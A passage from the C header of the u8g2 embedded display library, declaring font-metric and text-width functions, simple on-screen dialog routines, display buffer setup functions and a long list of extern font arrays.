u8g2_GetFontAscent(u8g2) ((u8g2)->font_ref_ascent) #define u8g2_GetFontDescent(u8g2) ((u8g2)->font_ref_descent) uint8_t u8g2_IsAllValidUTF8(u8g2_t *u8g2, const char *str); // checks whether all codes are valid u8g2_uint_t u8g2_GetStrWidth(u8g2_t *u8g2, const char *s); u8g2_uint_t u8g2_GetUTF8Width(u8g2_t *u8g2, const char *str); /*u8g2_uint_t u8g2_GetExactStrWidth(u8g2_t *u8g2, const char *s);*/ /*obsolete, see also https://github.com/olikraus/u8g2/issues/1561 */ void u8g2_SetFontPosBaseline(u8g2_t *u8g2); void u8g2_SetFontPosBottom(u8g2_t *u8g2); void u8g2_SetFontPosTop(u8g2_t *u8g2); void u8g2_SetFontPosCenter(u8g2_t *u8g2); void u8g2_SetFontRefHeightText(u8g2_t *u8g2); void u8g2_SetFontRefHeightExtendedText(u8g2_t *u8g2); void u8g2_SetFontRefHeightAll(u8g2_t *u8g2); /*==========================================*/ /* u8log_u8g2.c */ void u8g2_DrawLog(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8log_t *u8log); void u8log_u8g2_cb(u8log_t * u8log); /*==========================================*/ /* u8g2_selection_list.c */ void u8g2_DrawUTF8Line(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t w, const char *s, uint8_t border_size, uint8_t is_invert); u8g2_uint_t u8g2_DrawUTF8Lines(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t w, u8g2_uint_t line_height, const char *s); uint8_t u8g2_UserInterfaceSelectionList(u8g2_t *u8g2, const char *title, uint8_t start_pos, const char *sl); /*==========================================*/ /* u8g2_message.c */ uint8_t u8g2_UserInterfaceMessage(u8g2_t *u8g2, const char *title1, const char *title2, const char *title3, const char *buttons); /*==========================================*/ /* u8g2_input_value.c */ uint8_t u8g2_UserInterfaceInputValue(u8g2_t *u8g2, const char *title, const char *pre, uint8_t *value, uint8_t lo, uint8_t hi, uint8_t digits, const char *post); /*==========================================*/ /* u8x8_d_sdl_128x64.c */ void u8g2_SetupBuffer_SDL_128x64(u8g2_t *u8g2, const u8g2_cb_t *u8g2_cb); void u8g2_SetupBuffer_SDL_128x64_4(u8g2_t *u8g2, const u8g2_cb_t *u8g2_cb); void u8g2_SetupBuffer_SDL_128x64_1(u8g2_t *u8g2, const u8g2_cb_t *u8g2_cb); /*==========================================*/ /* u8x8_d_tga.c */ void u8g2_SetupBuffer_TGA_DESC(u8g2_t *u8g2, const u8g2_cb_t *u8g2_cb); void u8g2_SetupBuffer_TGA_LCD(u8g2_t *u8g2, const u8g2_cb_t *u8g2_cb); /*==========================================*/ /* u8x8_d_bitmap.c */ void u8g2_SetupBitmap(u8g2_t *u8g2, const u8g2_cb_t *u8g2_cb, uint16_t pixel_width, uint16_t pixel_height); /*==========================================*/ /* u8x8_d_framebuffer.c */ void u8g2_SetupLinuxFb(u8g2_t *u8g2, const u8g2_cb_t *u8g2_cb, const char *fb_device); /*==========================================*/ /* u8x8_d_utf8.c */ /* 96x32 stdout */ void u8g2_SetupBuffer_Utf8(u8g2_t *u8g2, const u8g2_cb_t *u8g2_cb); /*==========================================*/ /* itoa procedures */ #define u8g2_u8toa u8x8_u8toa #define u8g2_u16toa u8x8_u16toa /*==========================================*/ /* start font list */ extern const uint8_t u8g2_font_u8glib_4_tf[] U8G2_FONT_SECTION("u8g2_font_u8glib_4_tf"); extern const uint8_t u8g2_font_u8glib_4_tr[] U8G2_FONT_SECTION("u8g2_font_u8glib_4_tr"); extern const uint8_t u8g2_font_u8glib_4_hf[] U8G2_FONT_SECTION("u8g2_font_u8glib_4_hf"); extern const uint8_t u8g2_font_u8glib_4_hr[] U8G2_FONT_SECTION("u8g2_font_u8glib_4_hr"); extern const uint8_t u8g2_font_m2icon_5_tf[] U8G2_FONT_SECTION("u8g2_font_m2icon_5_tf"); extern const uint8_t u8g2_font_m2icon_7_tf[] U8G2_FONT_SECTION("u8g2_font_m2icon_7_tf"); extern const uint8_t u8g2_font_m2icon_9_tf[] U8G2_FONT_SECTION("u8g2_font_m2icon_9_tf"); extern const uint8_t u8g2_font_emoticons21_tr[] U8G2_FONT_SECTION("u8g2_font_emoticons21_tr"); extern const uint8_t u8g2_font_battery19_tn[] U8G2_FONT_SECTION("u8g2_font_battery19_tn"); extern const uint8_t u8g2_font_battery24_tr[] U8G2_FONT_SECTION("u8g2_font_battery24_tr"); extern const uint8_t u8g2_font_squeezed_r6_tr[] U8G2_FONT_SECTION("u8g2_font_squeezed_r6_tr"); extern const uint8_t u8g2_font_squeezed_r6_tn[] U8G2_FONT_SECTION("u8g2_font_squeezed_r6_tn"); extern const uint8_t u8g2_font_squeezed_b6_tr[] U8G2_FONT_SECTION("u8g2_font_squeezed_b6_tr"); extern const uint8_t u8g2_font_squeezed_b6_tn[] U8G2_FONT_SECTION("u8g2_font_squeezed_b6_tn"); extern const uint8_t u8g2_font_squeezed_r7_tr[] U8G2_FONT_SECTION("u8g2_font_squeezed_r7_tr"); extern const uint8_t u8g2_font_squeezed_r7_tn[] U8G2_FONT_SECTION("u8g2_font_squeezed_r7_tn"); extern const uint8_t u8g2_font_squeezed_b7_tr[] U8G2_FONT_SECTION("u8g2_font_squeezed_b7_tr"); extern const uint8_t u8g2_font_squeezed_b7_tn[] U8G2_FONT_SECTION("u8g2_font_squeezed_b7_tn"); extern const uint8_t u8g2_font_percent_circle_25_hn[] U8G2_FONT_SECTION("u8g2_font_percent_circle_25_hn"); extern const uint8_t u8g2_font_freedoomr10_tu[] U8G2_FONT_SECTION("u8g2_font_freedoomr10_tu"); extern const uint8_t u8g2_font_freedoomr10_mu[] U8G2_FONT_SECTION("u8g2_font_freedoomr10_mu"); extern const uint8_t u8g2_font_freedoomr25_tn[] U8G2_FONT_SECTION("u8g2_font_freedoomr25_tn"); extern const uint8_t u8g2_font_freedoomr25_mn[] U8G2_FONT_SECTION("u8g2_font_freedoomr25_mn"); extern const uint8_t u8g2_font_7Segments_26x42_mn[] U8G2_FONT_SECTION("u8g2_font_7Segments_26x42_mn"); extern const uint8_t u8g2_font_7_Seg_33x19_mn[] U8G2_FONT_SECTION("u8g2_font_7_Seg_33x19_mn"); extern const uint8_t u8g2_font_7_Seg_41x21_mn[] U8G2_FONT_SECTION("u8g2_font_7_Seg_41x21_mn"); extern const uint8_t u8g2_font_tiny5_tf[] U8G2_FONT_SECTION("u8g2_font_tiny5_tf"); extern const uint8_t u8g2_font_tiny5_tr[] U8G2_FONT_SECTION("u8g2_font_tiny5_tr"); extern const uint8_t u8g2_font_04b_03b_tr[] U8G2_FONT_SECTION("u8g2_font_04b_03b_tr"); extern const uint8_t u8g2_font_04b_03_tr[] U8G2_FONT_SECTION("u8g2_font_04b_03_tr"); extern const uint8_t u8g2_font_amstrad_cpc_extended_8f[] U8G2_FONT_SECTION("u8g2_font_amstrad_cpc_extended_8f"); extern const uint8_t u8g2_font_amstrad_cpc_extended_8r[] U8G2_FONT_SECTION("u8g2_font_amstrad_cpc_extended_8r"); extern const uint8_t u8g2_font_amstrad_cpc_extended_8n[] U8G2_FONT_SECTION("u8g2_font_amstrad_cpc_extended_8n"); extern const uint8_t u8g2_font_amstrad_cpc_extended_8u[] U8G2_FONT_SECTION("u8g2_font_amstrad_cpc_extended_8u"); extern const uint8_t u8g2_font_cursor_tf[] U8G2_FONT_SECTION("u8g2_font_cursor_tf"); extern const uint8_t u8g2_font_cursor_tr[] U8G2_FONT_SECTION("u8g2_font_cursor_tr"); extern const uint8_t u8g2_font_micro_tr[] U8G2_FONT_SECTION("u8g2_font_micro_tr"); extern const uint8_t u8g2_font_micro_tn[] U8G2_FONT_SECTION("u8g2_font_micro_tn"); extern const uint8_t u8g2_font_micro_mr[] U8G2_FONT_SECTION("u8g2_font_micro_mr"); extern const uint8_t u8g2_font_micro_mn[] U8G2_FONT_SECTION("u8g2_font_micro_mn"); extern const uint8_t u8g2_font_4x6_tf[] U8G2_FONT_SECTION("u8g2_font_4x6_tf"); extern const uint8_t u8g2_font_4x6_tr[] U8G2_FONT_SECTION("u8g2_font_4x6_tr"); extern const uint8_t u8g2_font_4x6_tn[] U8G2_FONT_SECTION("u8g2_font_4x6_tn"); extern const uint8_t u8g2_font_4x6_mf[] U8G2_FONT_SECTION("u8g2_font_4x6_mf"); extern const uint8_t u8g2_font_4x6_mr[] U8G2_FONT_SECTION("u8g2_font_4x6_mr"); extern const uint8_t u8g2_font_4x6_mn[] U8G2_FONT_SECTION("u8g2_font_4x6_mn"); extern const uint8_t u8g2_font_4x6_t_cyrillic[] U8G2_FONT_SECTION("u8g2_font_4x6_t_cyrillic"); extern const uint8_t u8g2_font_5x7_tf[] U8G2_FONT_SECTION("u8g2_font_5x7_tf"); extern const uint8_t u8g2_font_5x7_tr[] U8G2_FONT_SECTION("u8g2_font_5x7_tr"); extern const uint8_t u8g2_font_5x7_tn[] U8G2_FONT_SECTION("u8g2_font_5x7_tn"); extern const uint8_t u8g2_font_5x7_mf[] U8G2_FONT_SECTION("u8g2_font_5x7_mf"); extern const uint8_t u8g2_font_5x7_mr[] U8G2_FONT_SECTION("u8g2_font_5x7_mr"); extern const uint8_t u8g2_font_5x7_mn[] U8G2_FONT_SECTION("u8g2_font_5x7_mn"); extern const uint8_t u8g2_font_5x7_t_cyrillic[] U8G2_FONT_SECTION("u8g2_font_5x7_t_cyrillic"); extern const uint8_t u8g2_font_5x8_tf[] U8G2_FONT_SECTION("u8g2_font_5x8_tf"); extern const uint8_t u8g2_font_5x8_tr[] U8G2_FONT_SECTION("u8g2_font_5x8_tr"); extern const uint8_t u8g2_font_5x8_tn[] U8G2_FONT_SECTION("u8g2_font_5x8_tn"); extern const uint8_t u8g2_font_5x8_mf[] U8G2_FONT_SECTION("u8g2_font_5x8_mf"); extern const uint8_t u8g2_font_5x8_mr[] U8G2_FONT_SECTION("u8g2_font_5x8_mr"); extern const uint8_t u8g2_font_5x8_mn[] U8G2_FONT_SECTION("u8g2_font_5x8_mn"); extern const uint8_t u8g2_font_5x8_t_cyrillic[] U8G2_FONT_SECTION("u8g2_font_5x8_t_cyrillic"); extern const uint8_t u8g2_font_6x10_tf[] U8G2_FONT_SECTION("u8g2_font_6x10_tf"); extern const uint8_t u8g2_font_6x10_tr[] U8G2_FONT_SECTION("u8g2_font_6x10_tr"); extern const uint8_t u8g2_font_6x10_tn[] U8G2_FONT_SECTION("u8g2_font_6x10_tn"); extern const uint8_t u8g2_font_6x10_mf[] U8G2_FONT_SECTION("u8g2_font_6x10_mf"); extern const uint8_t u8g2_font_6x10_mr[] U8G2_FONT_SECTION("u8g2_font_6x10_mr"); extern const uint8_t u8g2_font_6x10_mn[] U8G2_FONT_SECTION("u8g2_font_6x10_mn"); extern const uint8_t u8g2_font_6x12_tf[] U8G2_FONT_SECTION("u8g2_font_6x12_tf"); extern const uint8_t u8g2_font_6x12_tr[] U8G2_FONT_SECTION("u8g2_font_6x12_tr"); extern const uint8_t u8g2_font_6x12_tn[] U8G2_FONT_SECTION("u8g2_font_6x12_tn"); extern const uint8_t u8g2_font_6x12_te[] U8G2_FONT_SECTION("u8g2_font_6x12_te"); extern const uint8_t u8g2_font_6x12_mf[] U8G2_FONT_SECTION("u8g2_font_6x12_mf"); extern const uint8_t u8g2_font_6x12_mr[] U8G2_FONT_SECTION("u8g2_font_6x12_mr"); extern const uint8_t u8g2_font_6x12_mn[] U8G2_FONT_SECTION("u8g2_font_6x12_mn"); extern const uint8_t u8g2_font_6x12_me[] U8G2_FONT_SECTION("u8g2_font_6x12_me"); extern const uint8_t u8g2_font_6x12_t_symbols[] U8G2_FONT_SECTION("u8g2_font_6x12_t_symbols"); extern const uint8_t u8g2_font_6x12_m_symbols[] U8G2_FONT_SECTION("u8g2_font_6x12_m_symbols"); extern const uint8_t u8g2_font_6x12_t_cyrillic[] U8G2_FONT_SECTION("u8g2_font_6x12_t_cyrillic"); extern const uint8_t u8g2_font_6x13_tf[] U8G2_FONT_SECTION("u8g2_font_6x13_tf"); extern const uint8_t u8g2_font_6x13_tr[] U8G2_FONT_SECTION("u8g2_font_6x13_tr"); extern const uint8_t u8g2_font_6x13_tn[] U8G2_FONT_SECTION("u8g2_font_6x13_tn"); extern const uint8_t u8g2_font_6x13_te[] U8G2_FONT_SECTION("u8g2_font_6x13_te"); extern const uint8_t u8g2_font_6x13_mf[] U8G2_FONT_SECTION("u8g2_font_6x13_mf"); extern const uint8_t u8g2_font_6x13_mr[] U8G2_FONT_SECTION("u8g2_font_6x13_mr"); extern const uint8_t u8g2_font_6x13_mn[] U8G2_FONT_SECTION("u8g2_font_6x13_mn"); extern const uint8_t u8g2_font_6x13_me[] U8G2_FONT_SECTION("u8g2_font_6x13_me"); extern const uint8_t u8g2_font_6x13_t_hebrew[] U8G2_FONT_SECTION("u8g2_font_6x13_t_hebrew"); extern const uint8_t u8g2_font_6x13_t_cyrillic[] U8G2_FONT_SECTION("u8g2_font_6x13_t_cyrillic"); extern const uint8_t u8g2_font_6x13B_tf[] U8G2_FONT_SECTION("u8g2_font_6x13B_tf"); extern const uint8_t u8g2_font_6x13B_tr[] U8G2_FONT_SECTION("u8g2_font_6x13B_tr"); extern const uint8_t u8g2_font_6x13B_tn[] U8G2_FONT_SECTION("u8g2_font_6x13B_tn"); extern const uint8_t u8g2_font_6x13B_mf[] U8G2_FONT_SECTION("u8g2_font_6x13B_mf"); extern const uint8_t u8g2_font_6x13B_mr[] U8G2_FONT_SECTION("u8g2_font_6x13B_mr"); extern const uint8_t u8g2_font_6x13B_mn[] U8G2_FONT_SECTION("u8g2_font_6x13B_mn"); extern const uint8_t u8g2_font_6x13B_t_hebrew[] U8G2_FONT_SECTION("u8g2_font_6x13B_t_hebrew"); extern const uint8_t u8g2_font_6x13B_t_cyrillic[] U8G2_FONT_SECTION("u8g2_font_6x13B_t_cyrillic"); extern const uint8_t u8g2_font_6x13O_tf[] U8G2_FONT_SECTION("u8g2_font_6x13O_tf"); extern const uint8_t u8g2_font_6x13O_tr[] U8G2_FONT_SECTION("u8g2_font_6x13O_tr"); extern const uint8_t u8g2_font_6x13O_tn[] U8G2_FONT_SECTION("u8g2_font_6x13O_tn"); extern const uint8_t u8g2_font_6x13O_mf[] U8G2_FONT_SECTION("u8g2_font_6x13O_mf"); extern const uint8_t u8g2_font_6x13O_mr[] U8G2_FONT_SECTION("u8g2_font_6x13O_mr"); extern const uint8_t u8g2_font_6x13O_mn[] U8G2_FONT_SECTION("u8g2_font_6x13O_mn"); extern const uint8_t u8g2_font_7x13_tf[] U8G2_FONT_SECTION("u8g2_font_7x13_tf"); extern const uint8_t u8g2_font_7x13_tr[] U8G2_FONT_SECTION("u8g2_font_7x13_tr"); extern const uint8_t u8g2_font_7x13_tn[] U8G2_FONT_SECTION("u8g2_font_7x13_tn"); extern const uint8_t u8g2_font_7x13_te[] U8G2_FONT_SECTION("u8g2_font_7x13_te"); extern const uint8_t u8g2_font_7x13_mf[] U8G2_FONT_SECTION("u8g2_font_7x13_mf"); extern const uint8_t u8g2_font_7x13_mr[] U8G2_FONT_SECTION("u8g2_font_7x13_mr"); extern const uint8_t u8g2_font_7x13_mn[] U8G2_FONT_SECTION("u8g2_font_7x13_mn"); extern const uint8_t u8g2_font_7x13_me[] U8G2_FONT_SECTION("u8g2_font_7x13_me"); extern const uint8_t u8g2_font_7x13_t_symbols[] U8G2_FONT_SECTION("u8g2_font_7x13_t_symbols"); extern const uint8_t u8g2_font_7x13_m_symbols[] U8G2_FONT_SECTION("u8g2_font_7x13_m_symbols"); extern const uint8_t u8g2_font_7x13_t_cyrillic[] U8G2_FONT_SECTION("u8g2_font_7x13_t_cyrillic"); extern const uint8_t u8g2_font_7x13B_tf[] U8G2_FONT_SECTION("u8g2_font_7x13B_tf"); extern const uint8_t u8g2_font_7x13B_tr[] U8G2_FONT_SECTION("u8g2_font_7x13B_tr"); extern const uint8_t u8g2_font_7x13B_tn[] U8G2_FONT_SECTION("u8g2_font_7x13B_tn"); extern const uint8_t u8g2_font_7x13B_mf[] U8G2_FONT_SECTION("u8g2_font_7x13B_mf"); extern const uint8_t u8g2_font_7x13B_mr[] U8G2_FONT_SECTION("u8g2_font_7x13B_mr"); extern const uint8_t u8g2_font_7x13B_mn[] U8G2_FONT_SECTION("u8g2_font_7x13B_mn"); extern const uint8_t u8g2_font_7x13O_tf[] U8G2_FONT_SECTION("u8g2_font_7x13O_tf"); extern const uint8_t u8g2_font_7x13O_tr[] U8G2_FONT_SECTION("u8g2_font_7x13O_tr"); extern const uint8_t u8g2_font_7x13O_tn[] U8G2_FONT_SECTION("u8g2_font_7x13O_tn"); extern const uint8_t u8g2_font_7x13O_mf[] U8G2_FONT_SECTION("u8g2_font_7x13O_mf"); extern const uint8_t u8g2_font_7x13O_mr[] U8G2_FONT_SECTION("u8g2_font_7x13O_mr"); extern const uint8_t u8g2_font_7x13O_mn[] U8G2_FONT_SECTION("u8g2_font_7x13O_mn"); extern const uint8_t u8g2_font_7x14_tf[] U8G2_FONT_SECTION("u8g2_font_7x14_tf"); extern const uint8_t u8g2_font_7x14_tr[] U8G2_FONT_SECTION("u8g2_font_7x14_tr"); extern const uint8_t u8g2_font_7x14_tn[] U8G2_FONT_SECTION("u8g2_font_7x14_tn"); extern const uint8_t u8g2_font_7x14_mf[] U8G2_FONT_SECTION("u8g2_font_7x14_mf"); extern const uint8_t u8g2_font_7x14_mr[] U8G2_FONT_SECTION("u8g2_font_7x14_mr"); extern const uint8_t u8g2_font_7x14_mn[] U8G2_FONT_SECTION("u8g2_font_7x14_mn"); extern const uint8_t u8g2_font_7x14B_tf[] U8G2_FONT_SECTION("u8g2_font_7x14B_tf"); extern const uint8_t u8g2_font_7x14B_tr[] U8G2_FONT_SECTION("u8g2_font_7x14B_tr"); extern const uint8_t u8g2_font_7x14B_tn[] U8G2_FONT_SECTION("u8g2_font_7x14B_tn"); extern const uint8_t u8g2_font_7x14B_mf[] U8G2_FONT_SECTION("u8g2_font_7x14B_mf"); extern const uint8_t u8g2_font_7x14B_mr[] U8G2_FONT_SECTION("u8g2_font_7x14B_mr"); extern const uint8_t u8g2_font_7x14B_mn[] U8G2_FONT_SECTION("u8g2_font_7x14B_mn"); extern const uint8_t u8g2_font_8x13_tf[] U8G2_FONT_SECTION("u8g2_font_8x13_tf"); extern const uint8_t u8g2_font_8x13_tr[] U8G2_FONT_SECTION("u8g2_font_8x13_tr"); extern const uint8_t u8g2_font_8x13_tn[] U8G2_FONT_SECTION("u8g2_font_8x13_tn"); extern const uint8_t u8g2_font_8x13_te[] U8G2_FONT_SECTION("u8g2_font_8x13_te"); extern const uint8_t u8g2_font_8x13_mf[] U8G2_FONT_SECTION("u8g2_font_8x13_mf"); extern const uint8_t u8g2_font_8x13_mr[] U8G2_FONT_SECTION("u8g2_font_8x13_mr"); extern const uint8_t u8g2_font_8x13_mn[] U8G2_FONT_SECTION("u8g2_font_8x13_mn"); extern const uint8_t u8g2_font_8x13_me[] U8G2_FONT_SECTION("u8g2_font_8x13_me"); extern const uint8_t u8g2_font_8x13_t_symbols[] U8G2_FONT_SECTION("u8g2_font_8x13_t_symbols"); extern const uint8_t u8g2_font_8x13_m_symbols[] U8G2_FONT_SECTION("u8g2_font_8x13_m_symbols"); extern const uint8_t u8g2_font_8x13_t_cyrillic[] U8G2_FONT_SECTION("u8g2_font_8x13_t_cyrillic"); extern const uint8_t u8g2_font_8x13B_tf[] U8G2_FONT_SECTION("u8g2_font_8x13B_tf"); extern const uint8_t u8g2_font_8x13B_tr[] U8G2_FONT_SECTION("u8g2_font_8x13B_tr"); extern const uint8_t u8g2_font_8x13B_tn[] U8G2_FONT_SECTION("u8g2_font_8x13B_tn"); extern const uint8_t u8g2_font_8x13B_mf[] U8G2_FONT_SECTION("u8g2_font_8x13B_mf"); extern const uint8_t u8g2_font_8x13B_mr[] U8G2_FONT_SECTION("u8g2_font_8x13B_mr"); extern const uint8_t u8g2_font_8x13B_mn[] U8G2_FONT_SECTION("u8g2_font_8x13B_mn"); extern const uint8_t u8g2_font_8x13O_tf[] U8G2_FONT_SECTION("u8g2_font_8x13O_tf"); extern const uint8_t u8g2_font_8x13O_tr[] U8G2_FONT_SECTION("u8g2_font_8x13O_tr"); extern const uint8_t u8g2_font_8x13O_tn[] U8G2_FONT_SECTION("u8g2_font_8x13O_tn"); extern const uint8_t u8g2_font_8x13O_mf[] U8G2_FONT_SECTION("u8g2_font_8x13O_mf"); extern const uint8_t u8g2_font_8x13O_mr[] U8G2_FONT_SECTION("u8g2_font_8x13O_mr"); extern const uint8_t u8g2_font_8x13O_mn[] U8G2_FONT_SECTION("u8g2_font_8x13O_mn"); extern const uint8_t u8g2_font_9x15_tf[] U8G2_FONT_SECTION("u8g2_font_9x15_tf"); extern const uint8_t u8g2_font_9x15_tr[] U8G2_FONT_SECTION("u8g2_font_9x15_tr"); extern const uint8_t u8g2_font_9x15_tn[] U8G2_FONT_SECTION("u8g2_font_9x15_tn"); extern const uint8_t u8g2_font_9x15_te[] U8G2_FONT_SECTION("u8g2_font_9x15_te"); extern const uint8_t u8g2_font_9x15_mf[] U8G2_FONT_SECTION("u8g2_font_9x15_mf"); extern const uint8_t u8g2_font_9x15_mr[] U8G2_FONT_SECTION("u8g2_font_9x15_mr"); extern const uint8_t u8g2_font_9x15_mn[] U8G2_FONT_SECTION("u8g2_font_9x15_mn"); extern const uint8_t u8g2_font_9x15_me[] U8G2_FONT_SECTION("u8g2_font_9x15_me"); extern const uint8_t u8g2_font_9x15_t_symbols[] U8G2_FONT_SECTION("u8g2_font_9x15_t_symbols"); extern const uint8_t u8g2_font_9x15_m_symbols[] U8G2_FONT_SECTION("u8g2_font_9x15_m_symbols"); extern const uint8_t u8g2_font_9x15_t_cyrillic[] U8G2_FONT_SECTION("u8g2_font_9x15_t_cyrillic"); extern const uint8_t u8g2_font_9x15B_tf[] U8G2_FONT_SECTION("u8g2_font_9x15B_tf"); extern const uint8_t u8g2_font_9x15B_tr[] U8G2_FONT_SECTION("u8g2_font_9x15B_tr"); extern const uint8_t u8g2_font_9x15B_tn[] U8G2_FONT_SECTION("u8g2_font_9x15B_tn"); extern const uint8_t u8g2_font_9x15B_mf[] U8G2_FONT_SECTION("u8g2_font_9x15B_mf"); extern const uint8_t u8g2_font_9x15B_mr[] U8G2_FONT_SECTION("u8g2_font_9x15B_mr"); extern const uint8_t u8g2_font_9x15B_mn[] U8G2_FONT_SECTION("u8g2_font_9x15B_mn"); extern const uint8_t u8g2_font_9x18_tf[] U8G2_FONT_SECTION("u8g2_font_9x18_tf"); extern const uint8_t u8g2_font_9x18_tr[] U8G2_FONT_SECTION("u8g2_font_9x18_tr"); extern const uint8_t u8g2_font_9x18_tn[] U8G2_FONT_SECTION("u8g2_font_9x18_tn"); extern const uint8_t u8g2_font_9x18_mf[] U8G2_FONT_SECTION("u8g2_font_9x18_mf"); extern const uint8_t u8g2_font_9x18_mr[] U8G2_FONT_SECTION("u8g2_font_9x18_mr"); extern const uint8_t u8g2_font_9x18_mn[] U8G2_FONT_SECTION("u8g2_font_9x18_mn"); extern const uint8_t u8g2_font_9x18B_tf[] U8G2_FONT_SECTION("u8g2_font_9x18B_tf"); extern const uint8_t u8g2_font_9x18B_tr[] U8G2_FONT_SECTION("u8g2_font_9x18B_tr"); extern const uint8_t u8g2_font_9x18B_tn[] U8G2_FONT_SECTION("u8g2_font_9x18B_tn"); extern const uint8_t u8g2_font_9x18B_mf[] U8G2_FONT_SECTION("u8g2_font_9x18B_mf"); extern const uint8_t u8g2_font_9x18B_mr[] U8G2_FONT_SECTION("u8g2_font_9x18B_mr"); extern const uint8_t u8g2_font_9x18B_mn[] U8G2_FONT_SECTION("u8g2_font_9x18B_mn"); extern const uint8_t u8g2_font_10x20_tf[] U8G2_FONT_SECTION("u8g2_font_10x20_tf"); extern const uint8_t u8g2_font_10x20_tr[] U8G2_FONT_SECTION("u8g2_font_10x20_tr"); extern const uint8_t u8g2_font_10x20_tn[] U8G2_FONT_SECTION("u8g2_font_10x20_tn"); extern const uint8_t u8g2_font_10x20_te[] U8G2_FONT_SECTION("u8g2_font_10x20_te"); extern const uint8_t u8g2_font_10x20_mf[] U8G2_FONT_SECTION("u8g2_font_10x20_mf"); extern const uint8_t u8g2_font_10x20_mr[] U8G2_FONT_SECTION("u8g2_font_10x20_mr"); extern const uint8_t u8g2_font_10x20_mn[] U8G2_FONT_SECTION("u8g2_font_10x20_mn"); extern const uint8_t u8g2_font_10x20_me[] U8G2_FONT_SECTION("u8g2_font_10x20_me"); extern const uint8_t u8g2_font_10x20_t_greek[] U8G2_FONT_SECTION("u8g2_font_10x20_t_greek"); extern const uint8_t u8g2_font_10x20_t_cyrillic[] U8G2_FONT_SECTION("u8g2_font_10x20_t_cyrillic"); extern const uint8_t u8g2_font_10x20_t_arabic[] U8G2_FONT_SECTION("u8g2_font_10x20_t_arabic"); extern const uint8_t u8g2_font_siji_t_6x10[] U8G2_FONT_SECTION("u8g2_font_siji_t_6x10"); extern const uint8_t u8g2_font_waffle_t_all[] U8G2_FONT_SECTION("u8g2_font_waffle_t_all"); extern const uint8_t u8g2_font_tom_thumb_4x6_t_all[] U8G2_FONT_SECTION("u8g2_font_tom_thumb_4x6_t_all"); extern const uint8_t u8g2_font_tom_thumb_4x6_tf[] U8G2_FONT_SECTION("u8g2_font_tom_thumb_4x6_tf"); extern const uint8_t u8g2_font_tom_thumb_4x6_tr[] U8G2_FONT_SECTION("u8g2_font_tom_thumb_4x6_tr"); extern const uint8_t u8g2_font_tom_thumb_4x6_tn[] U8G2_FONT_SECTION("u8g2_font_tom_thumb_4x6_tn"); extern const uint8_t u8g2_font_tom_thumb_4x6_te[] U8G2_FONT_SECTION("u8g2_font_tom_thumb_4x6_te"); extern const uint8_t u8g2_font_tom_thumb_4x6_mf[] U8G2_FONT_SECTION("u8g2_font_tom_thumb_4x6_mf"); extern const uint8_t u8g2_font_tom_thumb_4x6_mr[] U8G2_FONT_SECTION("u8g2_font_tom_thumb_4x6_mr"); extern const uint8_t u8g2_font_tom_thumb_4x6_mn[] U8G2_FONT_SECTION("u8g2_font_tom_thumb_4x6_mn"); extern const uint8_t u8g2_font_tom_thumb_4x6_me[] U8G2_FONT_SECTION("u8g2_font_tom_thumb_4x6_me"); extern const uint8_t u8g2_font_mystery_quest_24_tf[] U8G2_FONT_SECTION("u8g2_font_mystery_quest_24_tf"); extern const uint8_t u8g2_font_mystery_quest_24_tr[] U8G2_FONT_SECTION("u8g2_font_mystery_quest_24_tr"); extern const uint8_t u8g2_font_mystery_quest_24_tn[] U8G2_FONT_SECTION("u8g2_font_mystery_quest_24_tn"); extern const uint8_t u8g2_font_mystery_quest_28_tf[] U8G2_FONT_SECTION("u8g2_font_mystery_quest_28_tf"); extern const uint8_t u8g2_font_mystery_quest_28_tr[] U8G2_FONT_SECTION("u8g2_font_mystery_quest_28_tr"); extern const uint8_t u8g2_font_mystery_quest_28_tn[] U8G2_FONT_SECTION("u8g2_font_mystery_quest_28_tn"); extern const uint8_t u8g2_font_mystery_quest_32_tr[] U8G2_FONT_SECTION("u8g2_font_mystery_quest_32_tr"); extern const uint8_t u8g2_font_mystery_quest_32_tn[] U8G2_FONT_SECTION("u8g2_font_mystery_quest_32_tn"); extern const uint8_t u8g2_font_mystery_quest_36_tn[] U8G2_FONT_SECTION("u8g2_font_mystery_quest_36_tn"); extern const uint8_t u8g2_font_mystery_quest_42_tn[] U8G2_FONT_SECTION("u8g2_font_mystery_quest_42_tn"); extern const uint8_t u8g2_font_mystery_quest_48_tn[] U8G2_FONT_SECTION("u8g2_font_mystery_quest_48_tn"); extern const uint8_t u8g2_font_mystery_quest_56_tn[] U8G2_FONT_SECTION("u8g2_font_mystery_quest_56_tn"); extern const uint8_t u8g2_font_t0_11_tf[] U8G2_FONT_SECTION("u8g2_font_t0_11_tf"); extern const uint8_t u8g2_font_t0_11_tr[] U8G2_FONT_SECTION("u8g2_font_t0_11_tr"); extern const uint8_t u8g2_font_t0_11_tn[] U8G2_FONT_SECTION("u8g2_font_t0_11_tn"); extern const uint8_t u8g2_font_t0_11_te[] U8G2_FONT_SECTION("u8g2_font_t0_11_te"); extern const uint8_t u8g2_font_t0_11_mf[] U8G2_FONT_SECTION("u8g2_font_t0_11_mf"); extern const uint8_t u8g2_font_t0_11_mr[] U8G2_FONT_SECTION("u8g2_font_t0_11_mr"); extern const uint8_t u8g2_font_t0_11_mn[] U8G2_FONT_SECTION("u8g2_font_t0_11_mn"); extern const uint8_t u8g2_font_t0_11_me[] U8G2_FONT_SECTION("u8g2_font_t0_11_me"); extern const uint8_t u8g2_font_t0_11_t_all[] U8G2_FONT_SECTION("u8g2_font_t0_11_t_all"); extern const uint8_t u8g2_font_t0_11b_tf[] U8G2_FONT_SECTION("u8g2_font_t0_11b_tf"); extern const uint8_t u8g2_font_t0_11b_tr[] U8G2_FONT_SECTION("u8g2_font_t0_11b_tr"); extern const uint8_t u8g2_font_t0_11b_tn[] U8G2_FONT_SECTION("u8g2_font_t0_11b_tn"); extern const uint8_t u8g2_font_t0_11b_te[] U8G2_FONT_SECTION("u8g2_font_t0_11b_te"); extern const uint8_t u8g2_font_t0_11b_mf[] U8G2_FONT_SECTION("u8g2_font_t0_11b_mf"); extern const uint8_t u8g2_font_t0_11b_mr[] U8G2_FONT_SECTION("u8g2_font_t0_11b_mr"); extern const uint8_t u8g2_font_t0_11b_mn[] U8G2_FONT_SECTION("u8g2_font_t0_11b_mn"); extern const uint8_t u8g2_font_t0_11b_me[] U8G2_FONT_SECTION("u8g2_font_t0_11b_me"); extern const uint8_t u8g2_font_t0_12_tf[] 